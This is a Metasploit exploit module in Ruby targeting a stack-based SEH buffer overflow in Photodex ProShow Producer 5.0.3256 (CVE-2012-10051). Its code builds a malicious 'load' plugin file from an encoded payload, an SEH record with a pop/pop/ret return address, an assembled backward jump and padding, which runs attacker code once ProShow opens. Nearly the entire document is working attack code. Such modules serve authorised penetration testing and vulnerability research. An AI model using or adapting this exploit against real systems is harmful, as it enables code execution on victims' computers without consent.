Photodex ProShow Producer 5.0.3256 load File Handling Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Photodex ProShow Producer 5.0.3256 load File Handling Buffer Overflow',
        'Description' => %q{
          This module exploits a stack-based buffer overflow in Photodex ProShow Producer
          v5.0.3256 in the handling of the plugins load list file. An attacker must send the
          crafted "load" file to victim, who must store it in the installation directory. The
          vulnerability will be triggered the next time ProShow is opened. The module has been
          tested successfully on Windows XP SP3 and Windows 7 SP1.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Julien Ahrens', # Vulnerability discovery and PoC
          'mr.pr0n', # Additional PoC
          'juan vazquez', # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2012-10051' ],
          [ 'OSVDB', '83745' ],
          [ 'EDB', '19563' ],
          [ 'EDB', '20036' ],
          [ 'URL', 'http://security.inshell.net/advisory/30' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 9844,
          'BadChars' => "\x00\x0a\x0d",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'Photodex ProShow Producer 5.0.3256 / Windows XP SP3 / Windows 7 SP1',
            {
              'Offset' => 9844,
              'Ret' => 0x1022A959 # p/p/r from if.dnt
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-06-06',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.', 'load']),
      ]
    )
  end

  # Overriding file_create to allow the creation of a file without extension
  def file_create(data)
    fname = datastore['FILENAME']
    ltype = "exploit.fileformat.#{self.shortname}"

    if !::File.directory?(Msf::Config.local_directory)
      FileUtils.mkdir_p(Msf::Config.local_directory)
    end

    path = File.join(Msf::Config.local_directory, fname)
    full_path = ::File.expand_path(path)
    File.open(full_path, "wb") { |fd| fd.write(data) }

    report_note(:data => { :full_path => full_path.dup }, :type => "#{ltype}.localpath")

    print_good "#{fname} stored at #{full_path}"
  end

  def exploit
    sploit = payload.encoded
    sploit << generate_seh_record(target.ret)
    # jmp back to the payload
    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset'] + 8}").encode_string
    # cause exception hitting the end of the stack
    sploit << rand_text(300)

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(sploit)
  end
end